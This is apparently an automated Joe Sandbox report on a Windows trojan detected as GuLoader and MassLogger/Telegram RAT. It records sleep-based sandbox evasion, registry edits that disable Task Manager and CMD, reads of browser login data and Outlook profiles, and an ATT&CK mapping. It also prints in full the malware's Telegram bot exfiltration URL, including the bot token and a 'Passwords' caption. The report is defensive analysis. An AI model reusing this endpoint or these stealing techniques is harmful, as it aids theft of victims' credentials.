Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598684s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597850s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -596093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595541s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -595107s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594993s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -594234s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405846
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_004027FB FindFirstFileW,	4_2_004027FB
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_00406398 FindFirstFileW,FindClose,	4_2_00406398

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598684	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597850	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595541	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595218	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595107	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594993	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594782	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594561	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594452	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594234	Jump to behavior

Source: FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	API call chain: ExitProcess graph end node			graph_0-3761
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	API call chain: ExitProcess graph end node			graph_0-3941

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Process created: C:\Users\user\Desktop\FILHKLtCw0.exe "C:\Users\user\Desktop\FILHKLtCw0.exe"

Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Users\user\Desktop\FILHKLtCw0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_00406077 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FILHKLtCw0.exe PID: 5852, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FILHKLtCw0.exe PID: 5852, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FILHKLtCw0.exe PID: 5852, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FILHKLtCw0.exe PID: 5852, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FILHKLtCw0.exe PID: 5852, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FILHKLtCw0.exe	61%	ReversingLabs	Win32.Trojan.Guloader
FILHKLtCw0.exe	75%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://api.telegram.orgX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.181.238	true	false	high
drive.usercontent.google.com	142.250.185.193	true	false	high
reallyfreegeoip.org	104.21.64.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/H	FILHKLtCw0.exe, 00000004.00000002.3310429349.0000000038998000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/Y	FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.telegram.orgX	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036138000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934	FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	FILHKLtCw0.exe, 00000004.00000003.3019370982.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036114000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	FILHKLtCw0.exe, 00000004.00000003.2984303295.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000003.2984393313.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	FILHKLtCw0.exe	false		high
http://api.telegram.org	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000362AF000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036318000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000360A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/VT	FILHKLtCw0.exe, 00000004.00000003.3019370982.0000000005B3F000.00000004.00000020.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	FILHKLtCw0.exe, 00000004.00000002.3309261776.000000003611F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	drive.google.com	United States	15169	GOOGLEUS	false
142.250.185.193	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.64.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587996
Start date and time:	2025-01-10 20:21:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FILHKLtCw0.exe renamed because original name is a hash value
Original Sample Name:	12ba9e377bd0dd9470038a28d9c076d28bd8e4bc9c419148a7ae4c20b7a831ba.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 149 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:24:08	API Interceptor	142x Sleep call for process: FILHKLtCw0.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
193.122.6.168	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
